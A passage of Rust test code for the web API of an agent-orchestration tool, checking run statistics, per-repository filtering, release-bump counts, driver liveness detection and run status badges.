15897 synthesis: Some("blended brief".to_owned()),
15898 });
15899 let dir = f.runs().join(&state.id);
15900 std::fs::create_dir_all(&dir).expect("run dir");
15901 std::fs::write(
15902 dir.join("run.json"),
15903 serde_json::to_string_pretty(&state).expect("serialize run"),
15904 )
15905 .expect("write run.json");
15906
15907 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
15909 let alpha = advisors
15910 .as_array()
15911 .expect("an array")
15912 .iter()
15913 .find(|a| a["agent"] == "alpha")
15914 .expect("alpha row");
15915 assert_eq!(alpha["seated"], 2);
15916 assert_eq!(alpha["proposed"], 1);
15917 assert_eq!(alpha["absent"], 1);
15918 assert_eq!(alpha["strong"], 1);
15919 assert_eq!(alpha["faint"], 0);
15920 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
15921 }
15922
15923 #[tokio::test]
15924 async fn stats_hides_agents_outside_the_roster_unless_all() {
15925 use crate::run::Candidate;
15926 let repo = TempDir::new().expect("repo dir");
15927 std::fs::write(
15928 repo.path().join("magi.toml"),
15929 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
15930 )
15931 .expect("magi.toml");
15932 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
15933 let mut state = RunState::new(
15934 PathBuf::from("/repo/magi"),
15935 "main".to_owned(),
15936 "0123456789abcdef".to_owned(),
15937 "task".to_owned(),
15938 Config::default(),
15939 );
15940 state.id = "20260902-140501-a".to_owned();
15941 state.status = RunStatus::Merged;
15942 for (label, agent) in [('A', "keep"), ('B', "retired")] {
15943 let mut c: Candidate = serde_json::from_value(serde_json::json!({
15944 "index": 0, "label": label.to_string(), "agent": agent,
15945 "branch": "b", "worktree": "/w",
15946 }))
15947 .expect("candidate");
15948 c.label = label;
15949 state.candidates.push(c);
15950 }
15951 let dir = f.runs().join(&state.id);
15952 std::fs::create_dir_all(&dir).expect("run dir");
15953 std::fs::write(
15954 dir.join("run.json"),
15955 serde_json::to_string_pretty(&state).expect("serialize run"),
15956 )
15957 .expect("write run.json");
15958
15959 let agents_of = |v: &serde_json::Value| -> Vec<String> {
15960 v["agents"]
15961 .as_array()
15962 .expect("array")
15963 .iter()
15964 .map(|a| a["agent"].as_str().unwrap().to_owned())
15965 .collect()
15966 };
15967 let hidden = f.get("/api/stats").await.json();
15968 assert_eq!(agents_of(&hidden), ["keep"]);
15969 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
15970 assert_eq!(hidden["totals"]["runs"], 1);
15971
15972 let all = f.get("/api/stats?all=true").await.json();
15973 assert_eq!(agents_of(&all).len(), 2);
15974 assert_eq!(all["retired_hidden"], serde_json::json!([]));
15975 let keep_agent = all["agents"]
15977 .as_array()
15978 .unwrap()
15979 .iter()
15980 .find(|a| a["agent"] == "keep")
15981 .unwrap();
15982 assert_eq!(keep_agent["competitive_entered"], 1);
15983 assert_eq!(keep_agent["competitive_wins"], 0);
15984 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
15985 assert_eq!(keep_agent["solo_entered"], 0);
15986 assert_eq!(keep_agent["solo_adopted"], 0);
15987 assert!(keep_agent["solo_adoption_rate"].is_null());
15988 }
15989
15990 #[tokio::test]
15991 async fn stats_release_bumps_split_clean_from_attention() {
15992 use crate::run::ReleaseBump;
15993
15994 let f = Fixture::start().await;
15995
15996 let mut clean = RunState::new(
15997 PathBuf::from("/repo/magi"),
15998 "main".to_owned(),
15999 "0123456789abcdef".to_owned(),
16000 "task".to_owned(),
16001 Config::default(),
16002 );
16003 clean.id = "20260902-140501-a".to_owned();
16004 clean.status = RunStatus::Merged;
16005 clean.release_bump = Some(ReleaseBump {
16006 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
16007 version: Some("1.0.0".to_owned()),
16008 automerge_enabled: true,
16009 merged_directly: false,
16010 local: false,
16011 release: None,
16012 problem: None,
16013 action_required: None,
16014 });
16015
16016 let mut blocked = RunState::new(
16017 PathBuf::from("/repo/magi"),
16018 "main".to_owned(),
16019 "0123456789abcdef".to_owned(),
16020 "task".to_owned(),
16021 Config::default(),
16022 );
16023 blocked.id = "20260902-140502-b".to_owned();
16024 blocked.status = RunStatus::Merged;
16025 blocked.release_bump = Some(ReleaseBump {
16026 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
16027 version: Some("1.0.1".to_owned()),
16028 automerge_enabled: false,
16029 merged_directly: false,
16030 local: false,
16031 release: None,
16032 problem: Some("checks red".to_owned()),
16033 action_required: Some("look at the PR".to_owned()),
16034 });
16035
16036 for state in [&clean, &blocked] {
16037 let dir = f.runs().join(&state.id);
16038 std::fs::create_dir_all(&dir).expect("run dir");
16039 std::fs::write(
16040 dir.join("run.json"),
16041 serde_json::to_string_pretty(state).expect("serialize run"),
16042 )
16043 .expect("write run.json");
16044 }
16045
16046 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16047 assert_eq!(bumps["merged"], 2);
16048 assert_eq!(bumps["recorded"], 2);
16049 assert_eq!(bumps["pr_opened"], 2);
16050 assert_eq!(bumps["automerge_enabled"], 1);
16051 assert_eq!(bumps["needs_attention"], 1);
16052 assert_eq!(bumps["clean"], 1);
16053 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
16054 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
16055 }
16056
16057 #[tokio::test]
16058 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
16059 let f = Fixture::start().await;
16060 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16061
16062 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16063 assert_eq!(bumps["merged"], 1);
16064 assert_eq!(bumps["recorded"], 0);
16065 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
16068 assert_eq!(bumps["automerge_rate"], Value::Null);
16071 assert_eq!(bumps["attention_rate"], Value::Null);
16072 }
16073
16074 #[tokio::test]
16075 async fn stats_queue_counts_come_from_the_live_queue() {
16076 let f = Fixture::start().await;
16077 let q = f.queue();
16078 let mut queued = Task::new(
16079 "queued task".to_owned(),
16080 "do it".to_owned(),
16081 PathBuf::from("/repo"),
16082 Source::Human,
16083 );
16084 q.put(&mut queued).expect("put queued");
16085 let mut held = Task::new(
16086 "held task".to_owned(),
16087 "do it later".to_owned(),
16088 PathBuf::from("/repo"),
16089 Source::Human,
16090 );
16091 held.hold_machine(Some("out of attempts".to_owned()));
16092 q.put(&mut held).expect("put held");
16093
16094 let queue = f.get("/api/stats").await.json()["queue"].clone();
16095 assert_eq!(queue["queued"], 1);
16096 assert_eq!(queue["held"], 1);
16097 assert_eq!(queue["running"], 0);
16098 assert_eq!(queue["done"], 0);
16099 assert_eq!(queue["failed"], 0);
16100 assert_eq!(queue["blocked"], 0);
16101 }
16102
16103 #[tokio::test]
16104 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
16105 let f = Fixture::start().await;
16106 let stats = f.get("/api/stats").await;
16107 assert_eq!(stats.status, 200);
16108 assert_eq!(stats.json()["totals"]["runs"], 0);
16109 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
16110 assert_eq!(stats.json()["runs_unreadable"], 0);
16111 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
16112 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
16113 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
16114 assert_eq!(stats.json()["repo"], Value::Null);
16115 }
16116
16117 #[tokio::test]
16118 async fn stats_lists_every_repository_with_runs_recorded() {
16119 let f = Fixture::start().await;
16120 write_run_repo(
16121 &f.runs(),
16122 "20260902-140501-a",
16123 RunStatus::Merged,
16124 "/repos/a",
16125 );
16126 write_run_repo(
16127 &f.runs(),
16128 "20260902-140502-b",
16129 RunStatus::Merged,
16130 "/repos/a",
16131 );
16132 write_run_repo(
16133 &f.runs(),
16134 "20260902-140503-c",
16135 RunStatus::Blocked,
16136 "/repos/b",
16137 );
16138
16139 let stats = f.get("/api/stats").await;
16140 assert_eq!(stats.status, 200);
16141 assert_eq!(stats.json()["totals"]["runs"], 3);
16143 assert_eq!(stats.json()["repo"], Value::Null);
16144
16145 let repos = stats.json()["repos"].clone();
16146 let repos = repos.as_array().unwrap();
16147 assert_eq!(repos.len(), 2);
16148 assert_eq!(repos[0]["repo"], "/repos/a");
16150 assert_eq!(repos[0]["name"], "a");
16151 assert_eq!(repos[0]["runs"], 2);
16152 assert_eq!(repos[1]["repo"], "/repos/b");
16153 assert_eq!(repos[1]["runs"], 1);
16154 }
16155
16156 #[tokio::test]
16157 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
16158 let f = Fixture::start().await;
16159 write_run_repo(
16160 &f.runs(),
16161 "20260902-140501-a",
16162 RunStatus::Merged,
16163 "/repos/a",
16164 );
16165 write_run_repo(
16166 &f.runs(),
16167 "20260902-140502-b",
16168 RunStatus::Blocked,
16169 "/repos/b",
16170 );
16171
16172 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
16173 assert_eq!(stats.status, 200);
16174 assert_eq!(stats.json()["totals"]["runs"], 1);
16175 assert_eq!(stats.json()["totals"]["merged"], 1);
16176 assert_eq!(stats.json()["repo"], "/repos/a");
16177 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
16180 assert_eq!(stats.json()["runs_unreadable"], 0);
16183 }
16184
16185 #[tokio::test]
16186 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
16187 let f = Fixture::start().await;
16188 write_run_repo(
16189 &f.runs(),
16190 "20260902-140501-a",
16191 RunStatus::Merged,
16192 "/repos/a",
16193 );
16194 write_run_repo(
16195 &f.runs(),
16196 "20260902-140502-b",
16197 RunStatus::Merged,
16198 "/repos/b",
16199 );
16200
16201 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
16202 let json = f.get(uri).await.json();
16203 let daily = json["daily"].as_array().expect("daily is an array");
16204 assert_eq!(daily.len(), 30);
16205 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
16206 let mut sorted = dates.clone();
16207 sorted.sort();
16208 assert_eq!(dates, sorted);
16209 for d in daily {
16210 assert_eq!(
16211 d["merged"].as_u64().unwrap()
16212 + d["ready"].as_u64().unwrap()
16213 + d["other"].as_u64().unwrap(),
16214 d["runs"].as_u64().unwrap()
16215 );
16216 }
16217 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
16218 }
16219 }
16220
16221 #[tokio::test]
16222 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
16223 let f = Fixture::start().await;
16224 write_run_repo(
16225 &f.runs(),
16226 "20260902-140501-a",
16227 RunStatus::Merged,
16228 "/repos/a",
16229 );
16230
16231 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
16232 assert_eq!(stats.status, 404);
16233 }
16234
16235 #[tokio::test]
16236 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
16237 let f = Fixture::start().await;
16238 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
16239
16240 let summary = f.get("/api/runs").await.json();
16241 let row = &summary[0];
16242 assert_eq!(row["short"], "a1b2");
16243 assert_eq!(row["status"], "ready");
16244 assert_eq!(row["done"], true);
16245 assert_eq!(row["title"], "Add a web UI");
16246 assert_eq!(row["repo_name"], "magi");
16247 assert_eq!(row["judges"], 3);
16248 assert_eq!(row["winner"], Value::Null);
16249 assert_eq!(row["reviews"], 0);
16250
16251 let detail = f.get("/api/runs/a1b2").await;
16254 assert_eq!(detail.status, 200);
16255 assert_eq!(detail.json()["base_branch"], "main");
16256 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
16257 }
16258
16259 #[tokio::test]
16267 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
16268 let f = Fixture::start().await;
16269
16270 let mut none_run = RunState::new(
16271 PathBuf::from("/repo/magi"),
16272 "main".to_owned(),
16273 "0123456789abcdef".to_owned(),
16274 "Add a web UI".to_owned(),
16275 Config::default(),
16276 );
16277 none_run.id = "20260902-140503-none".to_owned();
16278 none_run.status = RunStatus::Ready;
16279 none_run.merge = Some(crate::run::MergeOutcome {
16280 mode: crate::config::MergeMode::None,
16281 ok: true,
16282 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
16283 empty: false,
16284 });
16285 write_state(&f.runs(), &none_run);
16286
16287 let mut pr_run = RunState::new(
16288 PathBuf::from("/repo/magi"),
16289 "main".to_owned(),
16290 "0123456789abcdef".to_owned(),
16291 "Add a web UI".to_owned(),
16292 Config::default(),
16293 );
16294 pr_run.id = "20260902-140504-prcl".to_owned();
16295 pr_run.status = RunStatus::Ready;
16296 pr_run.merge = Some(crate::run::MergeOutcome {
16297 mode: crate::config::MergeMode::Pr,
16298 ok: false,
16299 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
16300 empty: false,
16301 });
16302 write_state(&f.runs(), &pr_run);
16303
16304 let summary = f.get("/api/runs").await.json();
16305 let rows: std::collections::HashMap<&str, &Value> = summary
16306 .as_array()
16307 .expect("an array")
16308 .iter()
16309 .map(|r| (r["id"].as_str().expect("an id"), r))
16310 .collect();
16311 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
16312 assert_eq!(
16313 rows[none_run.id.as_str()]["unmerged_by_design"],
16314 true,
16315 "a mode-none Ready must be flagged in the list"
16316 );
16317 assert_eq!(
16318 rows[pr_run.id.as_str()]["unmerged_by_design"],
16319 false,
16320 "a Ready reached by a closed pull request is a different case"
16321 );
16322
16323 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
16324 assert_eq!(none_detail["status"], "ready");
16325 assert_eq!(none_detail["unmerged_by_design"], true);
16326
16327 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
16328 assert_eq!(pr_detail["unmerged_by_design"], false);
16329 }
16330
16331 #[tokio::test]
16336 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
16337 let f = Fixture::start().await;
16338 let id = "20260902-140502-bbbb";
16342 let mut state = RunState::new(
16343 PathBuf::from("/repo/magi"),
16344 "main".to_owned(),
16345 "0123456789abcdef".to_owned(),
16346 "Add a web UI".to_owned(),
16347 Config::default(),
16348 );
16349 state.id = id.to_owned();
16350 state.status = RunStatus::Judging;
16351 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
16352 let dir = f.runs().join(id);
16353 std::fs::create_dir_all(&dir).expect("run dir");
16354 std::fs::write(
16355 dir.join("run.json"),
16356 serde_json::to_string_pretty(&state).expect("serialize run"),
16357 )
16358 .expect("write run.json");
16359
16360 let cold = f.get(&format!("/api/runs/{id}")).await.json();
16366 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
16367 assert_eq!(cold["live"], "unknown", "{cold}");
16368
16369 write_daemon(f.home.path(), Timestamp::now());
16372 let warm = f.get(&format!("/api/runs/{id}")).await.json();
16373 assert_eq!(warm["live"], "live", "{warm}");
16374 }
16375
16376 #[test]
16377 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
16378 let home = tempfile::tempdir().expect("temp home");
16379 let runs = home.path().join("runs");
16380 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
16381 let mut state = RunState::new(
16382 PathBuf::from("/repo/magi"),
16383 "main".to_owned(),
16384 "0123456789abcdef".to_owned(),
16385 "Generated review context, not authored task criteria".to_owned(),
16386 Config::default(),
16387 );
16388 state.origin = origin;
16389 state.status = RunStatus::Blocked;
16390 state.driver_exited = false;
16392 state.gate_ran = true;
16393 let expected = serde_json::to_value(&state).expect("serialize current state");
16394 let mut legacy = expected.clone();
16395 legacy["schema"] = serde_json::json!(13);
16396 legacy.as_object_mut().unwrap().remove("task_instruction");
16397 let dir = runs.join(&state.id);
16398 std::fs::create_dir_all(&dir).expect("run dir");
16399 let path = dir.join("run.json");
16400 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
16401 std::fs::write(&path, &body).expect("write legacy run");
16402
16403 for loaded in [
16404 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
16405 read_run(&runs, &state.id).expect("web migration"),
16406 ] {
16407 assert_eq!(loaded.schema, crate::run::SCHEMA);
16408 assert!(loaded.task_instruction.is_none());
16409 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
16410 }
16411 assert_eq!(runs_unreadable(&runs), 0);
16412 assert_eq!(std::fs::read(&path).unwrap(), body);
16413 }
16414 }
16415
16416 #[tokio::test]
16419 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
16420 let f = Fixture::start().await;
16421 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
16422 let mut state = RunState::new(
16423 PathBuf::from("/repo/magi"),
16424 "main".to_owned(),
16425 "0123456789abcdef".to_owned(),
16426 "Add a web UI".to_owned(),
16427 Config::default(),
16428 );
16429 state.id = id.to_owned();
16430 state.origin = origin;
16431 let mut value = serde_json::to_value(&state).expect("serialize run");
16432 if let Some(schema) = schema {
16433 value["schema"] = serde_json::json!(schema);
16434 value.as_object_mut().unwrap().remove("origin");
16435 }
16436 let dir = f.runs().join(id);
16437 std::fs::create_dir_all(&dir).expect("run dir");
16438 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
16439 };
16440 write(
16441 "20260930-092817-ec34",
16442 Some(crate::run::Origin::from_agent_env(
16443 Some(("4a7b".to_owned(), "chat".to_owned())),
16444 None,
16445 )),
16446 None,
16447 );
16448 write("20260930-092817-0ld1", None, Some(12));
16449
16450 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
16451 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
16452 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
16453
16454 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
16455 assert_eq!(
16456 old["origin_label"], "origin unknown (started before origins were recorded)",
16457 "{old}"
16458 );
16459 assert!(old["origin"].is_null(), "{old}");
16460
16461 let list = f.get("/api/runs").await.json();
16462 let labels: Vec<_> = list
16463 .as_array()
16464 .unwrap()
16465 .iter()
16466 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
16467 .collect();
16468 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
16469 }
16470
16471 #[tokio::test]
16478 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
16479 let f = Fixture::start().await;
16480 let id = "20260922-090000-cccc";
16481 let mut state = RunState::new(
16482 PathBuf::from("/repo/magi"),
16483 "main".to_owned(),
16484 "0123456789abcdef".to_owned(),
16485 "Review only".to_owned(),
16486 Config::default(),
16487 );
16488 state.id = id.to_owned();
16489 state.status = RunStatus::Reviewing;
16490 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16491 state.driver_pid = Some(std::process::id());
16497 state.driver_started_at = Some(
16498 crate::proc::process_started_at(std::process::id())
16499 .expect("this test process's own start time must be queryable"),
16500 );
16501 let dir = f.runs().join(id);
16502 std::fs::create_dir_all(&dir).expect("run dir");
16503 std::fs::write(
16504 dir.join("run.json"),
16505 serde_json::to_string_pretty(&state).expect("serialize run"),
16506 )
16507 .expect("write run.json");
16508
16509 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16510 assert_eq!(detail["live"], "live", "{detail}");
16511 }
16512
16513 #[tokio::test]
16519 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
16520 let f = Fixture::start().await;
16521 let id = "20260922-090100-dddd";
16522 let mut state = RunState::new(
16523 PathBuf::from("/repo/magi"),
16524 "main".to_owned(),
16525 "0123456789abcdef".to_owned(),
16526 "Review only".to_owned(),
16527 Config::default(),
16528 );
16529 state.id = id.to_owned();
16530 state.status = RunStatus::Reviewing;
16531 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16532 state.driver_pid = Some(std::process::id());
16537 state.driver_started_at = Some("1".to_owned());
16538 let dir = f.runs().join(id);
16539 std::fs::create_dir_all(&dir).expect("run dir");
16540 std::fs::write(
16541 dir.join("run.json"),
16542 serde_json::to_string_pretty(&state).expect("serialize run"),
16543 )
16544 .expect("write run.json");
16545
16546 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16547 assert_eq!(detail["live"], "dead", "{detail}");
16548 }
16549
16550 #[test]
16554 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
16555 let mk = |id: &str, pid: Option<u32>| {
16556 let mut s = RunState::new(
16557 PathBuf::from("/repo/magi"),
16558 "main".to_owned(),
16559 "0123456789abcdef".to_owned(),
16560 "Add a web UI".to_owned(),
16561 Config::default(),
16562 );
16563 s.id = id.to_owned();
16564 s.driver_pid = pid;
16565 s.driver_started_at = Some("1790000000".to_owned());
16566 s
16567 };
16568 let states = vec![
16569 mk("20260902-140502-aaaa", Some(77)),
16570 mk("20260902-140502-bbbb", Some(77)),
16571 mk("20260902-140502-cccc", Some(77)),
16572 mk("20260902-140502-dddd", None),
16573 ];
16574 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
16575 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
16576 let sup: HashMap<String, String> = [(
16577 "20260902-140502-aaaa".to_owned(),
16578 "20260902-140502-cccc".to_owned(),
16579 )]
16580 .into();
16581
16582 let status_calls = std::cell::Cell::new(0);
16583 let identity_calls = std::cell::Cell::new(0);
16584 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
16585 |_| {
16586 status_calls.set(status_calls.get() + 1);
16587 Some(true)
16588 },
16589 |_| {
16590 identity_calls.set(identity_calls.get() + 1);
16591 Some("1790000000".to_owned())
16592 },
16593 ));
16594 let rows = summarize(
16595 states,
16596 &open,
16597 &claimed,
16598 &sup,
16599 |p| probe.borrow_mut().status(p),
16600 |p| probe.borrow_mut().started_at(p),
16601 );
16602
16603 assert_eq!(status_calls.get(), 1, "one pid, one status query");
16604 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
16605 assert_eq!(rows.len(), 4);
16606 assert!(!rows[0].waiting && rows[1].waiting);
16607 assert_eq!(rows[0].live, crate::run::Liveness::Live);
16608 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
16609 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
16610 assert_eq!(rows[1].superseded_by, None);
16611 }
16612
16613 #[test]
16614 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
16615 let mut state = RunState::new(
16616 PathBuf::from("/repo/magi"),
16617 "main".to_owned(),
16618 "0123456789abcdef".to_owned(),
16619 "Review only".to_owned(),
16620 Config::default(),
16621 );
16622 state.id = "20260922-090200-dead".to_owned();
16623 state.status = RunStatus::Reviewing;
16624 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
16625 .expect("serialize list row");
16626 assert_eq!(row["status"], "reviewing");
16627 assert_eq!(row["display_status"], "stale");
16628 assert_eq!(row["live"], "dead", "{row}");
16629 assert!(!row["done"].as_bool().unwrap());
16630 }
16631
16632 #[test]
16633 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
16634 use crate::run::Liveness::{Dead, Live, Unknown};
16635 let mut state = RunState::new(
16636 PathBuf::from("/repo/magi"),
16637 "main".to_owned(),
16638 "abc".to_owned(),
16639 "Review only".to_owned(),
16640 Config::default(),
16641 );
16642 for (status, parked, node, waiting, live, expected) in [
16643 (
16644 RunStatus::Judging,
16645 true,
16646 "github-text",
16647 false,
16648 Dead,
16649 "parked",
16650 ),
16651 (RunStatus::Judging, false, "park", false, Dead, "stale"),
16652 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
16653 (
16654 RunStatus::Judging,
16655 true,
16656 "github-text",
16657 true,
16658 Dead,
16659 "waiting",
16660 ),
16661 (
16662 RunStatus::Judging,
16663 false,
16664 "github-text",
16665 true,
16666 Dead,
16667 "waiting",
16668 ),
16669 (
16670 RunStatus::Judging,
16671 false,
16672 "github-text",
16673 false,
16674 Dead,
16675 "stale",
16676 ),
16677 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
16678 (RunStatus::Judging, true, "park", false, Live, "judging"),
16679 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
16680 (RunStatus::Merged, true, "park", false, Dead, "merged"),
16681 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
16682 (
16683 RunStatus::Blocked,
16684 true,
16685 "github-text",
16686 true,
16687 Dead,
16688 "waiting",
16689 ),
16690 ] {
16691 state.status = status;
16692 state.parked = parked;
16693 state.events.clear();
16694 state.event(
16695 "park",
16696 "an earlier park does not determine the latest state",
16697 );
16698 state.event(node, "message is not used for classification");
16699 let summary = RunSummary::of(&state, waiting, live);
16700 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
16701 assert_eq!(
16702 summary.display_status, expected,
16703 "{status:?}/{node}/{live:?}"
16704 );
16705 assert_eq!(detail.display_status, summary.display_status);
16706 assert_eq!(detail.waiting, summary.waiting);
16707 }
16708 state.status = RunStatus::Judging;
16709 state.parked = false;
16710 state.events.clear();
16711 assert_eq!(run_display_status(&state, false, Dead), "stale");
16712 }
16713
16714 #[test]
16715 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
16716 use crate::run::Liveness::{Dead, Live, Unknown};
16717 let mut state = RunState::new(
16718 PathBuf::from("/repo/magi"),
16719 "main".to_owned(),
16720 "abc".to_owned(),
16721 "Badge".to_owned(),
16722 Config::default(),
16723 );
16724 for (status, waiting, live, superseded, expected) in [
16725 (RunStatus::Gating, false, Dead, false, "stale"),
16726 (RunStatus::Gating, false, Dead, true, "superseded"),
16727 (RunStatus::Gating, false, Unknown, true, "superseded"),
16728 (RunStatus::Gating, true, Dead, true, "superseded"),
16729 (RunStatus::Gating, true, Dead, false, "waiting"),
16730 (RunStatus::Gating, false, Unknown, false, "gating"),
16731 (RunStatus::Gating, false, Live, true, "gating"),
16732 (RunStatus::Gating, true, Live, true, "waiting"),
16733 (RunStatus::Merged, false, Dead, true, "merged"),
16734 (RunStatus::Blocked, false, Dead, true, "blocked"),
16735 ] {
16736 state.status = status;
16737 let display = run_display_status(&state, waiting, live);
16738 assert_eq!(
16739 run_badge_status(&state, &display, live, superseded),
16740 expected,
16741 "{status:?}/{live:?}/superseded={superseded}"
16742 );
16743 }
16744 }
16745
16746 #[test]
16747 fn summarize_and_detail_expose_badge_status() {
16748 use crate::run::Liveness::Dead;
16749 let mut state = RunState::new(
16750 PathBuf::from("/repo/magi"),
16751 "main".to_owned(),
16752 "abc".to_owned(),
16753 "Badge".to_owned(),
16754 Config::default(),
16755 );
16756 state.status = RunStatus::Gating;
16757 let none = HashSet::new();
16758 let id = state.id.clone();
16759 let mut by = HashMap::new();
16760 let rows = summarize(
16761 [state.clone()],
16762 &none,
16763 &none,
16764 &by,
16765 |_| Some(false),
16766 |_| None,
16767 );
16768 assert_eq!(rows[0].badge_status, rows[0].display_status);
16770 by.insert(id, "20260901-000000-913b".to_owned());
16771 let detail = RunDetailView::of(
16772 state.clone(),
16773 false,
16774 Dead,
16775 Some("913b".to_owned()),
16776 None,
16777 None,
16778 );
16779 assert_eq!(detail.badge_status, "superseded");
16780 let json = serde_json::to_value(&detail).unwrap();
16781 assert_eq!(json["badge_status"], "superseded");
16782 let detail = RunDetailView::of(state, false, Dead, None, None, None);
16783 assert_eq!(detail.badge_status, "stale");
16784 }
16785
16786 #[tokio::test]
16787 async fn run_display_status_routes_share_the_open_question_store() {
16788 let f = Fixture::start().await;
16789 let id = "20260922-090200-abcd";
16790 write_run(&f.runs(), id, RunStatus::Judging);
16791 let mut state = read_run(&f.runs(), id).unwrap();
16792 state.parked = true;
16793 state.driver_exited = true;
16794 state.event("github-text", "waiting for the owner");
16795 state.save_under(f.home.path()).unwrap();
16796 let mut task = Task::new(
16797 "resumed task".to_owned(),
16798 "do it".to_owned(),
16799 PathBuf::from("/repo"),
16800 Source::Human,
16801 );
16802 task.runs = vec![id.to_owned(), id.to_owned()];
16803 f.queue().put(&mut task).unwrap();
16804 let store = f.questions();
16805 let mut q = Question::new(
16806 id.to_owned(),
16807 "github-text".to_owned(),
16808 "owner".to_owned(),
16809 "Approve the text?".to_owned(),
16810 String::new(),
16811 Vec::new(),
16812 );
16813 store.put(&mut q).unwrap();
16814 for expected in ["waiting", "parked"] {
16815 let list = f.get("/api/runs").await.json();
16816 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16817 assert_eq!(list[0]["display_status"], expected);
16818 assert_eq!(detail["display_status"], expected);
16819 assert_eq!(detail["waiting"], list[0]["waiting"]);
16820 assert_eq!(list[0]["badge_status"], expected);
16821 assert_eq!(detail["badge_status"], expected);
16822 assert!(list[0]["superseded_by"].is_null());
16823 assert!(detail["superseded_by"].is_null());
16824 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
16825 let history = task_detail["history"].as_array().unwrap();
16826 assert_eq!(history.len(), 2);
16827 assert!(history[0]["badge"].is_null());
16828 assert_eq!(history[1]["badge"], expected);
16829 q.status = ask::QuestionStatus::Answered;
16830 store.put(&mut q).unwrap();
16831 }
16832 }
16833
16834 #[tokio::test]
16835 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
16836 let f = Fixture::start().await;
16837 let id = "20260922-090200-abcd";
16838 write_run(&f.runs(), id, RunStatus::Judging);
16839 let mut state = read_run(&f.runs(), id).unwrap();
16840 state.parked = true;
16841 state.driver_exited = true;
16842 state.event("park", "stopped at a node boundary");
16843 state.save_under(f.home.path()).unwrap();
16844
16845 for expected in ["parked", "stale"] {
16846 let list = f.get("/api/runs").await.json();
16847 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16848 assert_eq!(list[0]["live"], "dead");
16849 assert_eq!(list[0]["display_status"], expected);
16850 assert_eq!(detail["display_status"], expected);
16851 state.parked = false;
